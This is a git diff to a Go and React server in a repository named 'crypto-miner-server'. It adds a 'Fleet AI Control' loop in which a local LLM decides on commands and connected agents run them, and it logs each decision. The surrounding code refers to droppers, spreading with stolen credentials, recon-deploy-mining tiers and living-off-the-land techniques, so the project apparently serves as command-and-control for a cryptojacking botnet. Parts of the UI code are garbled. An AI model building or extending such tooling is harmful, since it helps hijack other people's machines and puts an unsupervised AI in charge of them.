InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error { + if s == nil || s.DB == nil { + return nil + } + return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted) +} diff --git a/server/internal/api/fleet_ai_handler.go b/server/internal/api/fleet_ai_handler.go new file mode 100644 index 0000000..09e0026 --- /dev/null +++ b/server/internal/api/fleet_ai_handler.go @@ -0,0 +1,90 @@ +package api + +import ( + "encoding/json" + "net/http" + "strconv" + "strings" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/db" +) + +// FleetAIHandler serves Fleet AI Control API routes. +type FleetAIHandler struct { + config FleetAIConfigSource + db interface { + ListAIDecisions(agentID string, limit int) ([]db.AIDecisionRecord, error) + } +} + +func NewFleetAIHandler(cfg FleetAIConfigSource, database interface { + ListAIDecisions(agentID string, limit int) ([]db.AIDecisionRecord, error) +}) *FleetAIHandler { + return &FleetAIHandler{config: cfg, db: database} +} + +func (h *FleetAIHandler) GetConfig(w http.ResponseWriter, r *http.Request) { + if h.config == nil { + http.Error(w, "config unavailable", http.StatusServiceUnavailable) + return + } + writeJSON(w, h.config.GetFleetAIConfig()) +} + +func (h *FleetAIHandler) PutConfig(w http.ResponseWriter, r *http.Request) { + if h.config == nil { + http.Error(w, "config unavailable", http.StatusServiceUnavailable) + return + } + var body FleetAIConfigView + if err := json.NewDecoder(r.Body).Decode(&body); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + if body.AIDecisionIntervalSec < 0 { + http.Error(w, "ai_decision_interval_sec must be ≥ 0", http.StatusBadRequest) + return + } + if err := h.config.UpdateFleetAIConfig(body); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, h.config.GetFleetAIConfig()) +} + +func (h *FleetAIHandler) GetModels(w http.ResponseWriter, r *http.Request) { + endpoint := strings.TrimSpace(r.URL.Query().Get("endpoint")) + if endpoint == "" && h.config != nil { + endpoint = h.config.GetFleetAIConfig().AIEndpoint + } + models, err := fleetai.ListModels(r.Context(), endpoint) + if err != nil { + http.Error(w, err.Error(), http.StatusBadGateway) + return + } + writeJSON(w, map[string]interface{}{"models": models, "endpoint": endpoint}) +} + +func (h *FleetAIHandler) GetDecisions(w http.ResponseWriter, r *http.Request) { + if h.db == nil { + writeJSON(w, []db.AIDecisionRecord{}) + return + } + agentID := strings.TrimSpace(r.URL.Query().Get("agent_id")) + limit := 50 + if raw := r.URL.Query().Get("limit"); raw != "" { + if n, err := strconv.Atoi(raw); err == nil && n > 0 { + limit = n + } + } + rows, err := h.db.ListAIDecisions(agentID, limit) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + if rows == nil { + rows = []db.AIDecisionRecord{} + } + writeJSON(w, rows) +} diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index b63058f..bac9fc1 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -39,6 +39,18 @@ func (m *mockConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error { return nil } +func (m *mockConfigProvider) GetFleetAIConfig() FleetAIConfigView { + return FleetAIConfigView{ + AIEndpoint: "http://127.0.0.1:11434/v1", + AINoContext: true, + AIDecisionIntervalSec: 60, + } +} + +func (m *mockConfigProvider) UpdateFleetAIConfig(v FleetAIConfigView) error { + return nil +} + const testAuthUser = "testuser" const testAuthPass = "testpass" const testFleetSecret = "test-fleet-secret-integration" @@ -80,7 +92,8 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) { _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("
AetherForge"), 0644) dropperHandler := NewDropperHandler(database, dataDir, nil) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir + fleetAIHandler := NewFleetAIHandler(cfg, database) + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir } func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { @@ -156,7 +169,8 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("AetherForge"), 0644) dropperHandler := NewDropperHandler(database, dataDir, nil) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir + fleetAIHandler := NewFleetAIHandler(cfg, database) + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir } func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) { diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go index f645207..5e6f74e 100644 --- a/server/internal/api/router_test.go +++ b/server/internal/api/router_test.go @@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) { fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) dlURL := "/api/v1/builds/" + buildID + "/download" @@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) { builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) req := httptest.NewRequest(http.MethodGet, "/", nil) rec := httptest.NewRecorder() diff --git a/server/internal/api/server_policy.go b/server/internal/api/server_policy.go index 3cc0cfa..78f1ff2 100644 --- a/server/internal/api/server_policy.go +++ b/server/internal/api/server_policy.go @@ -13,6 +13,8 @@ type ServerPolicy struct { ServiceDeployAllowlist map[string]ServiceDeployLane MiningTierPolicy MiningTierPolicy TripleOnionPolicy TripleOnionPolicy + // AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control). + AIControlEnabled bool } // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth. diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 2925a5c..207f0f3 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -155,6 +155,7 @@ type WSHub struct { agentDNS map[string][]string // Latest service_discover payloads keyed by agent ID (Crucible service graph). agentServiceDiscover map[string]cachedServiceDiscover + agentLiveTelemetry map[string]map[string]interface{} serverPolicy ServerPolicy adaptiveEngine *strategy.AdaptiveEngine pingIntervalSec int @@ -198,6 +199,7 @@ func NewWSHub(database *db.Database) *WSHub { agentLogs: make(map[string]string), agentDNS: make(map[string][]string), agentServiceDiscover: make(map[string]cachedServiceDiscover), + agentLiveTelemetry: make(map[string]map[string]interface{}), pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}), beaconLastSeen: make(map[string]time.Time), beaconCmdQueue: make(map[string][]BeaconCommand), @@ -280,7 +282,7 @@ func (h *WSHub) runAdaptiveStrategyLoop() { h.mu.RLock() engine := h.adaptiveEngine h.mu.RUnlock() - if engine == nil || !engine.Enabled() { + if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled { continue } if _, err := engine.RecomputeAll(); err != nil { @@ -877,7 +879,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } } resp["triple_onion_policy"] = top - if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() { + if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled { domainJoined := false if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain { domainJoined = true @@ -1542,6 +1544,27 @@ func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage { return mustMarshal(base) } +// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch +// message per interval instead of N individual stats_update frames. +func (h *WSHub) cacheAgentTelemetry(agentID string, payload map[string]interface{}) { + if agentID == "" || len(payload) == 0 { + return + } + h.mu.Lock() + defer h.mu.Unlock() + cur, ok := h.agentLiveTelemetry[agentID] + if !ok { + cur = make(map[string]interface{}) + h.agentLiveTelemetry[agentID] = cur + } + for k, v := range payload { + if k == "agent_id" { + continue + } + cur[k] = v + } +} + // queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch // message per interval instead of N individual stats_update frames. func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) { @@ -1559,6 +1582,7 @@ func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) { data = mergeStatsPayload(prev, data) } h.statsBatch[agentID] = data + h.cacheAgentTelemetry(agentID, payload) if h.statsBatchTimer == nil { h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch) } @@ -1676,6 +1700,7 @@ func (h *WSHub) RemoveAgent(agentID string) { delete(h.agentConfigs, agentID) delete(h.agentLogs, agentID) delete(h.agentCapabilities, agentID) + delete(h.agentLiveTelemetry, agentID) ac.Conn.Close() } h.mu.Unlock() @@ -1729,7 +1754,7 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int { engine := h.adaptiveEngine ids := h.ConnectedAgentIDs() h.mu.RUnlock() - if engine == nil || !engine.Enabled() { + if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled { return 0 } sent := 0 @@ -1754,7 +1779,7 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int { } func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) { - if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() { + if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled { return } platform, _ := payload["platform"].(string) @@ -1785,7 +1810,7 @@ func (h *WSHub) ingestStrategyFromStats( miningHashrate float64, activeTier string, ) { - if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() { + if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled { return } if platform == "" || ip == "" { diff --git a/server/internal/db/ai_decisions.go b/server/internal/db/ai_decisions.go new file mode 100644 index 0000000..72e29ea --- /dev/null +++ b/server/internal/db/ai_decisions.go @@ -0,0 +1,98 @@ +package db + +import ( + "database/sql" + "fmt" + "strings" +) + +// AIDecisionRecord is one persisted fleet AI decision cycle. +type AIDecisionRecord struct { + ID int64 `json:"id"` + AgentID string `json:"agent_id"` + PromptHash string `json:"prompt_hash"` + Response string `json:"response"` + CommandsExecuted string `json:"commands_executed"` + Timestamp string `json:"ts"` +} + +func (d *Database) ensureAIDecisionsTable() error { + _, err := d.Exec(`CREATE TABLE IF NOT EXISTS ai_decisions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + agent_id TEXT NOT NULL, + prompt_hash TEXT NOT NULL DEFAULT '', + response TEXT NOT NULL DEFAULT '', + commands_executed TEXT NOT NULL DEFAULT '', + ts DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + )`) + if err != nil { + return err + } + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_agent ON ai_decisions(agent_id)`) + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_ts ON ai_decisions(ts)`) + return nil +} + +// InsertAIDecision logs one fleet AI decision cycle. +func (d *Database) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error { + if d == nil { + return nil + } + if err := d.ensureAIDecisionsTable(); err != nil { + return err + } + _, err := d.Exec( + `INSERT INTO ai_decisions (agent_id, prompt_hash, response, commands_executed) VALUES (?, ?, ?, ?)`, + agentID, promptHash, response, commandsExecuted, + ) + return err +} + +// ListAIDecisions returns the most recent decisions for an agent (or all agents when agentID empty). +func (d *Database) ListAIDecisions(agentID string, limit int) ([]AIDecisionRecord, error) { + if d == nil { + return nil, nil + } + if err := d.ensureAIDecisionsTable(); err != nil { + return nil, err + } + if limit <= 0 { + limit = 50 + } + if limit > 500 { + limit = 500 + } + + var rows *sql.Rows + var err error + agentID = strings.TrimSpace(agentID) + if agentID != "" { + rows, err = d.Query( + `SELECT id, agent_id, prompt_hash, response, commands_executed, ts + FROM ai_decisions WHERE agent_id = ? ORDER BY id DESC LIMIT ?`, + agentID, limit, + ) + } else { + rows, err = d.Query( + `SELECT id, agent_id, prompt_hash, response, commands_executed, ts + FROM ai_decisions ORDER BY id DESC LIMIT ?`, + limit, + ) + } + if err != nil { + return nil, fmt.Errorf("list ai decisions: %w", err) + } + defer rows.Close() + + out := make([]AIDecisionRecord, 0, limit) + for rows.Next() { + var rec AIDecisionRecord + var ts string + if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.PromptHash, &rec.Response, &rec.CommandsExecuted, &ts); err != nil { + return nil, err + } + rec.Timestamp = ts + out = append(out, rec) + } + return out, rows.Err() +} diff --git a/server/main.go b/server/main.go index a44edad..f3fc58d 100644 --- a/server/main.go +++ b/server/main.go @@ -20,6 +20,7 @@ import ( "crypto-miner-server/internal/builder" "crypto-miner-server/internal/cloudflared" "crypto-miner-server/internal/db" + fleetai "crypto-miner-server/internal/ai" "crypto-miner-server/internal/maintenance" "crypto-miner-server/internal/pool" "crypto-miner-server/internal/scheduler" @@ -268,6 +269,17 @@ func main() { defer fleetSched.Stop() wsHub.SetConnectTaskRunner(fleetSched) + fleetAISched := fleetai.NewScheduler( + &api.ConfigAIAdapter{Src: configProvider}, + &api.WSHubSnapshotAdapter{Hub: wsHub}, + &api.FleetAIExecutor{Hub: wsHub}, + &api.DatabaseAIDecisionStore{DB: database}, + ) + fleetAISched.Start() + defer fleetAISched.Stop() + fleetAIHandler := api.NewFleetAIHandler(configProvider, database) + log.Println("Fleet AI Control scheduler initialized") + // Initialize blueprint handler (config presets) blueprintHandler := api.NewBlueprintHandler(cfg.DataDir) log.Println("Blueprint handler initialized") @@ -305,7 +317,7 @@ func main() { log.Printf("Web root: %s", webRoot) // Initialize router - router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string { + router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string { return configProvider.PublicURL() }, cfg.Port, func() bool { return cfg.ConnectorToken() != "" @@ -379,6 +391,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager ReconTiers: cfg.Server.TripleOnionPolicy.ReconTiers, DeployLanes: cfg.Server.TripleOnionPolicy.DeployLanes, }, + AIControlEnabled: cfg.Server.AIControlEnabled, }) } if poolManager != nil { @@ -479,6 +492,46 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error return nil } +func (p *serverConfigProvider) GetFleetAIConfig() api.FleetAIConfigView { + if p == nil || p.config == nil { + return api.FleetAIConfigView{} + } + s := p.config.Server + interval := s.AIDecisionIntervalSec + if interval <= 0 { + interval = 60 + } + return api.FleetAIConfigView{ + AIControlEnabled: s.AIControlEnabled, + AIEndpoint: s.AIEndpoint, + AIModel: s.AIModel, + AINoContext: s.AINoContext, + AIDecisionIntervalSec: interval, + } +} + +func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) error { + if p == nil || p.config == nil { + return fmt.Errorf("config unavailable") + } + if v.AIDecisionIntervalSec < 0 { + return fmt.Errorf("ai_decision_interval_sec must be ≥ 0") + } + payload, err := json.Marshal(map[string]interface{}{ + "server": map[string]interface{}{ + "ai_control_enabled": v.AIControlEnabled, + "ai_endpoint": v.AIEndpoint, + "ai_model": v.AIModel, + "ai_no_context": v.AINoContext, + "ai_decision_interval_sec": v.AIDecisionIntervalSec, + }, + }) + if err != nil { + return err + } + return p.UpdateConfigFromJSON(payload) +} + // findAgentSourceDir locates the agent source code directory // It searches relative to the server binary location and the current working directory func findAgentSourceDir() string { diff --git a/server/web/src/api/client.test.ts b/server/web/src/api/client.test.ts index 236d0e6..28ecfb0 100644 --- a/server/web/src/api/client.test.ts +++ b/server/web/src/api/client.test.ts @@ -237,6 +237,7 @@ describe('api client', () => { .mockResolvedValueOnce(jsonResponse([])) .mockResolvedValueOnce(jsonResponse([])) .mockResolvedValueOnce(jsonResponse([])) + .mockResolvedValueOnce(jsonResponse({ models: ['llama3.2'] })) .mockResolvedValueOnce(jsonResponse({ xmr_per_day: 0.01, usd_per_day: 1, network_hashrate: 1 })) .mockResolvedValueOnce(jsonResponse({ success: true })) .mockResolvedValueOnce(jsonResponse({ agent_id: 'a1', content: 'log' })) @@ -253,6 +254,9 @@ describe('api client', () => { await api.getAIActivity(); expect(lastFetch().url).toBe('/api/v1/ai/activity'); + await api.getAIModels('http://127.0.0.1:11434/v1'); + expect(lastFetch().url).toBe('/api/v1/ai/models?endpoint=http%3A%2F%2F127.0.0.1%3A11434%2Fv1'); + await api.getEarningsEstimate(1234.5); expect(lastFetch().url).toBe('/api/v1/earnings/estimate?hashrate=1234.5'); diff --git a/server/web/src/components/CalibrationAIControl.tsx b/server/web/src/components/CalibrationAIControl.tsx new file mode 100644 index 0000000..52679e9 --- /dev/null +++ b/server/web/src/components/CalibrationAIControl.tsx @@ -0,0 +1,176 @@ +import { useState } from 'react'; +import type { ServerSettings } from '../types'; +import { api } from '../api/client'; +import { HelpTip, FieldHint } from './HelpTip'; +import { ADAPTIVE_STRATEGY_HELP } from '../help/lotlOnionTiers'; + +export const DEFAULT_AI_LOCAL_ENDPOINT = 'http://127.0.0.1:11434/v1'; +export const DEFAULT_AI_INTERVAL_SEC = 60; + +function readEndpoint(server: ServerSettings): string { + return server.ai_endpoint?.trim() || server.ai_local_endpoint?.trim() || DEFAULT_AI_LOCAL_ENDPOINT; +} + +function readIntervalSec(server: ServerSettings): number { + return server.ai_decision_interval_sec ?? server.ai_interval_sec ?? DEFAULT_AI_INTERVAL_SEC; +} + +interface Props { + server: ServerSettings; + onUpdate: (path: string, value: unknown) => void; +} + +export default function CalibrationAIControl({ server, onUpdate }: Props) { + const aiControl = server.ai_control_enabled ?? false; + const endpoint = readEndpoint(server); + const model = server.ai_model?.trim() || ''; + const intervalSec = readIntervalSec(server); + + const [models, setModels] = useState+ Fleet AI issues stateless decisions every {intervalSec}s per agent — no memory + between cycles. The control server calls your local LLM; agents execute tool calls on{' '} + your machines only. Complete fleet control stays on your LAN. +
+ +{modelsMsg}
+ )} + +{ADAPTIVE_STRATEGY_HELP}
+
+ Spread tier order: {server.lotl_onion_tiers.join(' → ')}
+
+ Choose how the server steers fleet behavior — weighted logic gates or a local LLM loop. +
+